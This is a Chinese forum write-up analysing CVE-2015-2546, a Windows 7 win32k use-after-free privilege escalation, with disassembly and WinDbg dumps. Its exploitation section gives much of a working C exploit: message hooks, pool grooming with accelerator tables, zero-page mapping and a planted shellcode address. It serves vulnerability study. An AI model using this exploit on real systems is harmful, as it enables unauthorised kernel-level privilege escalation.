CVE-2015-2546提权漏洞学习笔记
2023-2-19 18:0:10 Author: 看雪学苑(查看原文) 阅读量:17 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:1900


前言

1.漏洞描述

和CVE-2014-4113一样,这个漏洞也是因为调用xxxSendMessage函数的时候,没有对第一个参数进行合法性验证。用户可以通过一定的方法修改第一个参数的值,导致可以通过xxxSendMessageTimeout中的以下代码实现提权:

.text:BF8B94E8 loc_BF8B94E8:                           .text:BF8B94E8                 push    [ebp+Src].text:BF8B94EB                 push    dword ptr [ebp+UnicodeString].text:BF8B94EE                 push    ebx.text:BF8B94EF                 push    esi.text:BF8B94F0                 call    dword ptr [esi+60h]

与CVE-2014-4113不同的是,这次的漏洞在xxxHandleMenuMessage中调用的xxxMNMouseMove函数中。

2.实验环境

  • 操作系统:Win7 X86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,WinDbg


漏洞分析

要理解这个漏洞,需要对两个结构体有所了解,第一个是tagMENUWND,该结构体定义如下:

kd> dt tagMENUWNDwin32k!tagMENUWND   +0x000 head             : _THRDESKHEAD   +0x014 state            : Uint4B   +0x018 state2           : Uint4B   +0x01c ExStyle          : Uint4B   +0x020 style            : Uint4B   +0x024 hModule          : Ptr32 Void   +0x028 hMod16           : Uint2B   +0x02a fnid             : Uint2B   +0x02c spwndNext        : Ptr32 tagWND   +0x030 spwndPrev        : Ptr32 tagWND   +0x034 spwndParent      : Ptr32 tagWND   +0x038 spwndChild       : Ptr32 tagWND   +0x03c spwndOwner       : Ptr32 tagWND   +0x040 rcWindow         : tagRECT   +0x050 rcClient         : tagRECT   +0x060 lpfnWndProc      : Ptr32     long    +0x064 pcls             : Ptr32 tagCLS   +0x068 hrgnUpdate       : Ptr32 HRGN__   +0x06c ppropList        : Ptr32 tagPROPLIST   +0x070 pSBInfo          : Ptr32 tagSBINFO   +0x074 spmenuSys        : Ptr32 tagMENU   +0x078 spmenu           : Ptr32 tagMENU   +0x07c hrgnClip         : Ptr32 HRGN__   +0x080 hrgnNewFrame     : Ptr32 HRGN__   +0x084 strName          : _LARGE_UNICODE_STRING   +0x090 cbwndExtra       : Int4B   +0x094 spwndLastActive  : Ptr32 tagWND   +0x098 hImc             : Ptr32 HIMC__   +0x09c dwUserData       : Uint4B   +0x0a0 pActCtx          : Ptr32 _ACTIVATION_CONTEXT   +0x0a4 pTransform       : Ptr32 _D3DMATRIX   +0x0a8 spwndClipboardListenerNext : Ptr32 tagWND   +0x0ac ExStyle2         : Uint4B   +0x0b0 PopupMenu    : Ptr32 tagPOPUPMENU

其中最关键得是最后一个成员,也就是偏移0x0B0处得PopupMenu,该成员是一个tagPOPUPMENU结构体,结构体定义如下:

kd> dt tagPOPUPMENUwin32k!tagPOPUPMENU   +0x000 flags      : Uint4B   +0x004 spwndNotify     : Ptr32 tagWND   +0x008 spwndPopupMenu   : Ptr32 tagWND   +0x00c spwndNextPopup   : Ptr32 tagWND   +0x010 spwndPrevPopup   : Ptr32 tagWND   +0x014 spmenu           : Ptr32 tagMENU   +0x018 spmenuAlternate  : Ptr32 tagMENU   +0x01c spwndActivePopup  : Ptr32 tagWND   +0x020 ppopupmenuRoot   : Ptr32 tagPOPUPMENU   +0x024 ppmDelayedFree   : Ptr32 tagPOPUPMENU   +0x028 posSelectedItem  : Uint4B   +0x02c posDropped       : Uint4B

在xxxMNMouseMove函数中,首先会调用xxxMNFindWindowFromPoint函数获取返回值,而该函数的返回值是通过xxxSendMessage发送0x1EB的消息得到的。因此,对0x1EB的消息进行挂钩就可以修改此处的返回值,这里的返回值需要修改成tagMenuWnd(原因在下面)。为了触发漏洞,此处的返回值就不能是-1或-5,这样才能绕过2,3的验证,而由于4的验证,返回值还需要是一个合法的窗口的值,因为在IsWindowBeingDestroyed函数中,会对窗口的属性进行检查。

接下来,函数会将tagMenuWnd中偏移0xB0处保存的结构为tagPOPUPMENU的pTagMenuWnd取出,将它作为第一个参数调用xxxMNHideNextHierachy。可是在此之前,函数通过xxxSendMessage发送了两次消息,而且这两个函数的参数都是pTagMenuWnd。那么,用户就可以在通过挂钩的方式,在调用xxxMNHideNextHierachy函数之前对tagMenuWnd中的数据进行更改,也就是更改偏移0xB0处的pTagPopupMenu。

这里IDA反编译的结果出了问题,两个xxxSendMessage函数发送的消息应当分别是0x1E5和0x1F0,因为它们的汇编代码分别如下:

.text:BF939517 loc_BF939517:                           .text:BF939517                 xor     edi, edi.text:BF939519                 push    edi            .text:BF93951A                 push    dword ptr [ebp+UnicodeString] .text:BF93951D                 push    1E5h            .text:BF939522                 push    esi             .text:BF939523                 call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x).text:BF939528                 test    al, 10h.text:BF93952A                 jz      short loc_BF939583.text:BF93952C                 test    al, 3.text:BF93952E                 jnz     short loc_BF939583.text:BF939530                 push    edi             .text:BF939531                 push    edi             .text:BF939532                 push    1F0h            .text:BF939537                 push    esi           .text:BF939538                 call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x).text:BF93953D                 test    eax, eax.text:BF93953F                 jnz     short loc_BF939583.text:BF939541                 push    ebx.text:BF939542                 call    _xxxMNHideNextHierarchy@4 .text:BF939547                 jmp     short loc_BF939583

在xxxMNHideNextHierarchy函数中,会将pTagPopupMenu偏移0x0C的spwndNextPopup作为第一个参数调用xxxSendMessage函数。

虽然这里第八第九行代码验证了spwndNextPopup是否为0,但是,函数没有对pTagPopupmenu进行验证。因此,只要修改掉spwndNextPopup,让它不为0。

最终将导致代码xxSendMessageTimeout中的call dword ptr [esi + 0x60]就变成call dword ptr [spwndNextPopup + 0x60],此时只要在相应的位置放入ShellCode函数地址,就可以实现提权。


漏洞利用

和CVE-2014-4113相同的是,该漏洞也需要通过TrackPopupMenu函数来触发,所以也需要以下的代码来创建相应的窗口。

HWND hWnd = NULL;WNDCLASS wc = { 0 };HMENU hMenu1 = NULL, hMenu2 = NULL;MENUITEMINFO Item1 = { 0 }, Item2 = { 0 }; memset(&wc, 0, sizeof(wc)); wc.hInstance = GetModuleHandle(NULL);wc.lpfnWndProc = WndProc_2015_2546;wc.lpszClassName = "1900"; if (!RegisterClassA(&wc)){    ShowError("RegisterClassA", GetLastError());    bRet = FALSE;    goto exit;} hWnd = CreateWindowA(wc.lpszClassName,               "",               WS_OVERLAPPEDWINDOW | WS_VISIBLE,               0,               0,               640,               480,               NULL,               NULL,               wc.hInstance,               NULL);if (!hWnd){    ShowError("CreateWindowEx", GetLastError());    bRet = FALSE;    goto exit;} hMenu1 = CreatePopupMenu();if (!hMenu1){    ShowError("CreatePopupMenu", GetLastError());    bRet = FALSE;    goto exit;} memset(&Item1, 0, sizeof(Item1));memset(&Item2, 0, sizeof(Item2)); Item1.cbSize = sizeof(Item1);Item1.fMask = MIIM_STRING;if (!InsertMenuItemA(hMenu1, 0, TRUE, &Item1)){    ShowError("InsertMenuItemA 1", GetLastError());    bRet = FALSE;    goto exit;} hMenu2 = CreatePopupMenu();if (!hMenu2){    ShowError("CreatePopupMenu 2", GetLastError());    bRet = FALSE;    goto exit;} Item2.fMask = MIIM_STRING | MIIM_SUBMENU;Item2.dwTypeData = "";Item2.cch = 1;Item2.hSubMenu = hMenu1;Item2.cbSize = sizeof(Item2); if (!InsertMenuItemA(hMenu2, 0, TRUE, &Item2)){    ShowError("InsertMenuItemA 2", GetLastError());    bRet = FALSE;    goto exit;} // 触发漏洞if (!TrackPopupMenu(hMenu2, 0, 0, 0, 0, hWnd, NULL)){    ShowError("TrackPopupMenu", GetLastError());    bRet = FALSE;    goto exit;}

不同的地方在于此时触发漏洞的位置是不同的,以下是部分代码:

int __stdcall xxxHandleMenuMessages(int a1, int a2, WCHAR UnicodeString){  uMsg = *(_DWORD *)(a1 + 4);  if ( uMsg > 0x104 )  {    if ( uMsg > 0x202 )    {    }    if ( uMsg == 0x202 )      goto LABEL_80;    v20 = uMsg - 0x105;         // uMsg - 0x105    if ( v20 )    {      v21 = v20 - 1;          // uMsg - 0x1                      if ( v21 )      {        v22 = v21 - 0x12;       // uMsg - 0x12        if ( !v22 )          return 1;        v23 = v22 - 0xE8;       // uMsg - 0xE8        if ( v23 )                  {          if ( v23 == 1 )          {               // CVE-2014-4113漏洞触发点            iRet = (_DWORD *)xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, (int)v7);                         if ( iRet == (_DWORD *)-1 )              xxxMNButtonDown(v3, v12, UnicodeString, 1);            else              xxxSendMessage(iRet, 0xED, UnicodeString, 0);            if ( !(v12[1] & 0x100) )              xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516);          }          return 0;        }                // CVE-2015-2546漏洞触发点        xxxMNMouseMove((WCHAR)v3, a2, (int)v7);        return 1;      }    }  }  return 1;}

经过计算,uMsg等于0x201的时候,会触发CVE-2014-4113的漏洞,当它等于0x200的时候会触发CVE-2015-2546的漏洞。而uMsg的值是由主窗口处理例程中的第三个PostMessageA的第二个参数决定的,根据以下的定义可以知道,本次漏洞的触发需要通过PostMessageA发送WM_MOUSEMOVE的消息。

#define WM_MOUSEMOVE                   0x0200#define WM_LBUTTONDOWN                  0x0201

并且,在进入xxxMouseMove函数中,会对第三个PostMessageA的第四个参数进行判断,该值如果为0,将不会调用xxxMNHideNextHierarchy触发漏洞,所以此次的exp的主窗口例程的处理函数应该改成如下的代码:

LRESULT CALLBACK WndProc_2015_2546(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam){    if (uMsg == WM_ENTERIDLE)    {        if (!bFlag)        {            bFlag = TRUE;            PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0);            PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0);            PostMessageA(hWnd, WM_MOUSEMOVE, 0, 1);        }        else        {            PostMessageA(hWnd, WM_CLOSE, 0, 0);        }    }     return DefWindowProcA(hWnd, uMsg, wParam, lParam);}

根据上面的漏洞分析可以知道,要成功调用xxxMNHideNextHierachy函数触发漏洞,需要对0x1E5,0x1EB和0x1F0这三个消息进行处理。对于0x1E5,只需要返回0x10就符合要求,而0x1EB需要返回一个合法的窗口对象来绕过IsWindowBeingDestory函数。因此,需要通过CreateWindowsExA创建一个类名为 "#32768"的窗口对象,函数会返回一个合法的tagMENUWND的窗口对象,当处理0x1EB消息的时候,将该对象返回回去就可以绕过验证。

有了tagMENUWND对象,接下来就需要在0x1F0中想办法修改tagMENUWND对象的tagPOPMENU中偏移0xC的spwndNextPopup。因为,在函数xxxMNHideNextHierarchy中,会对这个成员判断其值是否为0,如果不为0,才会将其作为第一个参数传给xxxSendMessage函数,而上面所创建的类名为"#32768"的tagMENUWND对象的tagPOPMENU中的spwndNextPopup为0。

想要将其修改为非0值,此处需要使用到CreateAcceleratorTable来创建加速表对象,该函数的定义如下:

HACCEL CreateAcceleratorTable(LPACCEL lpaccl,                 int cEntries);

其中第二个参数指定了要创建加速表对象的个数,这里需要指定为0x5,因此每个加速表对象占8字节,5 * 8 = 0x28,在加上8字节的POOL_HEADER以及0x10字节的对象头,这样可以保证创建的空间足够容纳0x40大小的tagPOPUPMENU结构体。因此,消息0x1EB的执行内容如下:

先销毁掉"#32768"窗口对象,这样会释放掉tagPOPUPMENU的空间。
申请一些的加速表对象,这些加速表对象就会占用刚刚释放"32768"窗口对象的tagPOPUPMENU空间,这样,就可以修改tagPOPUPMENU中的spwndNextPopup。

为了避免内存块合并,在初始化阶段,需要首先耗尽0x40大小的内存块。然后申请一批连续的0x40大小的加速表对象,释放掉其中的偶数部分的加速表对象,这样创建的"32768"窗口对象的tagPOPUPMENU的空间就会在在这些释放的内存块中。而它的前后两块都是正在被使用的内存块,当在消息0x1EB中释放tagPOPUPMENU的时候,不会发生内存块的合并,。因此,最终的初始化函数应当修改为如下:

BOOL Init_2015_2546(){    BOOL bRet = TRUE;    LPACCEL lpAccel = NULL;    DWORD  i = 0;    HACCEL hAccel[ACCELERATOR_NUMBER + 5];     // 消耗掉0x40大小的内存块    for (i = 0; i < ACCELERATOR_NUMBER; i++)    {        lpAccel = (LPACCEL)malloc(sizeof(ACCEL) * 5);        if (!CreateAcceleratorTable(lpAccel, 0x5))        {            ShowError("CreateAcceleratorTable", GetLastError());            bRet = FALSE;            goto exit;        }    }     // 分配连续的0x40大小的加速表对象    for (i = 0; i < ACCELERATOR_NUMBER; i++)    {        lpAccel = (LPACCEL)malloc(sizeof(ACCEL) * 5);        hAccel[i] = CreateAcceleratorTable(lpAccel, 0x5);        if (!hAccel[i])        {            ShowError("CreateAcceleratorTable", GetLastError());            bRet = FALSE;            goto exit;        }    }     // 释放其中的双数的内存块    for (i = 1; i < ACCELERATOR_NUMBER; i += 2)    {        if (!DestroyAcceleratorTable(hAccel[i]))        {            ShowError("CreateAcceleratorTable", GetLastError());            bRet = FALSE;            goto exit;        }    }     // 创建窗口对象,该窗口的tagPOPMENU会占用上面释放的双数的内存块    g_hWnd = CreateWindowExA(0,                             "#32768",                             NULL,                             0,                             -1, -1,                             0, 0,                             NULL,                             NULL,                             NULL,                             NULL);     if (!g_hWnd)    {        ShowError("CreateWindowExA #32768", GetLastError());        bRet = FALSE;        goto exit;    }     if (!SetWindowLongA(g_hWnd, GWL_WNDPROC, (ULONG)DefaultMenuProc_2015_2546))    {        ShowError("SetWindowLongA", GetLastError());        bRet = FALSE;        goto exit;    }     // 在0地址申请内存成功    if (!AllocateZeroMemory())    {        bRet = FALSE;        goto exit;    }     *(DWORD*)(0xD) = GetPtiCurrent_2015_2546();    *(BYTE*)(0x1B) = (BYTE)4;    *(DWORD*)(0x65) = (DWORD)ShellCode_2015_2546; exit:    return bRet;}

菜单窗口的处理例程,则应该如下所示:

LRESULT CALLBACK MenuWndProc_2015_2546(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam){    LPACCEL lpAccel = NULL;     if (uMsg == 0x1EB)    {        return (LONG)g_hWnd;    }    else if (uMsg == 0x1F0)    {        if (g_hWnd != NULL)        {            // #32768窗口进行销毁,tagPopupMenu被释放            if (!DestroyWindow(g_hWnd))            {                ShowError("DestroyWindow", GetLastError());            }             // 使用加速表对象占用窗口对象的空间            for (DWORD i = 0; i < ACCELERATOR_NUMBER; i++)            {                lpAccel = (LPACCEL)malloc(sizeof(ACCEL) * 0x5);                if (lpAccel) CreateAcceleratorTable(lpAccel, 0x5);            }        }                 return 0;    }    else if (uMsg == 0x1E5)    {        return 0x10;    }     return CallWindowProcA(g_lpPrevWndFunc, hWnd, uMsg, wParam, lParam);}


运行结果

参考下面链接的师傅的代码写的exp,链接在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2015-2546.cpp

在xxxMNMouseMove函数中下断点,运行exp,当运行到发送0x1F0的消息时,此时可以看到#32768窗口对象的tagPOPUPMENU中偏移0xC的spwndNextPopup为0。

1: kd> pwin32k!xxxMNMouseMove+0x141:96809530 57              push    edi1: kd> pwin32k!xxxMNMouseMove+0x142:96809531 57              push    edi1: kd> pwin32k!xxxMNMouseMove+0x143:96809532 68f0010000      push    1F0h1: kd> pwin32k!xxxMNMouseMove+0x148:96809537 56              push    esi1: kd> pwin32k!xxxMNMouseMove+0x149:96809538 e86000f8ff      call    win32k!xxxSendMessage (9678959d)1: kd> r esiesi=fea11b281: kd> dd fea11b28 + B0fea11bd8  fd5ee588 00000000 0001000d 0c000018fea11be8  00000000 c159c159 00000000 88427a601: kd> dt tagPOPUPMENU fd5ee588win32k!tagPOPUPMENU   +0x000 flags            : 0x00000000    +0x004 spwndNotify      : (null)    +0x008 spwndPopupMenu   : 0xfea11b28 tagWND   +0x00c spwndNextPopup   : (null)    +0x010 spwndPrevPopup   : (null)    +0x014 spmenu           : (null)    +0x018 spmenuAlternate  : (null)    +0x01c spwndActivePopup : (null)    +0x020 ppopupmenuRoot   : (null)    +0x024 ppmDelayedFree   : (null)    +0x028 posSelectedItem  : 0xffffffff   +0x02c posDropped       : 0

同时,查看这个时候的内存情况,tagPOPMENU对象在两块被使用的加速表对象中间,此时释放它不会造成内存块的合并。

调用xxxSendMessage发送0x1F0的消息后,可以看到spwndNextPopup被修改为0x5。

1: kd> pwin32k!xxxMNMouseMove+0x14e:9721953d 85c0            test    eax,eax1: kd> dt tagPOPUPMENU fd5ee588win32k!tagPOPUPMENU   +0x000 flags            : 0x00000000   +0x004 spwndNotify      : (null)    +0x008 spwndPopupMenu   : (null)    +0x00c spwndNextPopup   : 0x00000005 tagWND   +0x010 spwndPrevPopup   : 0xcdcdcdcd tagWND   +0x014 spmenu           : 0xcdcdcdcd tagMENU   +0x018 spmenuAlternate  : 0xcdcdcdcd tagMENU   +0x01c spwndActivePopup : 0xcdcdcdcd tagWND   +0x020 ppopupmenuRoot   : 0xcdcdcdcd tagPOPUPMENU   +0x024 ppmDelayedFree   : 0xcdcdcdcd tagPOPUPMENU   +0x028 posSelectedItem  : 0xcdcdcdcd   +0x02c posDropped       : 0xcdcd

接着跟进xxxMNHideNextHierarchy函数,此时就会绕过该函数对spwndNextPopup不为0的验证,并将0x5作为第一个参数调用xxxSendMessage。

1: win32k!xxxMNHideNextHierarchy+0x37:967e8f05 6a00            push    01: kd> pwin32k!xxxMNHideNextHierarchy+0x39:967e8f07 6a00            push    01: kd> pwin32k!xxxMNHideNextHierarchy+0x3b:967e8f09 68e4010000      push    1E4h1: kd> pwin32k!xxxMNHideNextHierarchy+0x40:967e8f0e 50              push    eax1: kd> pwin32k!xxxMNHideNextHierarchy+0x41:967e8f0f e88906faff      call    win32k!xxxSendMessage (9678959d)1: kd> r eaxeax=00000005

这就会导致call dword ptr [esi + 0x60]变成call dword ptr [0x5 + 0x60],因此只需要在0x65的地方放入ShellCode的地址就可以完成提权,最终的运行结果如下:

  • https://www.anquanke.com/post/id/84911

  • https://bbs.pediy.com/thread-263673.htm

看雪ID:1900

https://bbs.kanxue.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区

# 往期推荐

1、EXP编写学习之网络上的EXP

2、CVE-2021-42287 Windows域内提权漏洞原理分析

3、Windows平台用户层二进制漏洞模糊测试入门

4、seccomp-bpf+ptrace实现修改系统调用原理

5、无限续杯——从app破解角度学习安卓保护手段

6、Android - 系统级源码调试

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458494923&idx=1&sn=1d157ebbe377348cad89a8367a9d4da4&chksm=b18e974186f91e5776bbaf02530f84af44781a7e26187dd4f8907cec6cab7ec2df8f5ee2f4ee#rd
如有侵权请联系:admin#unsafe.sh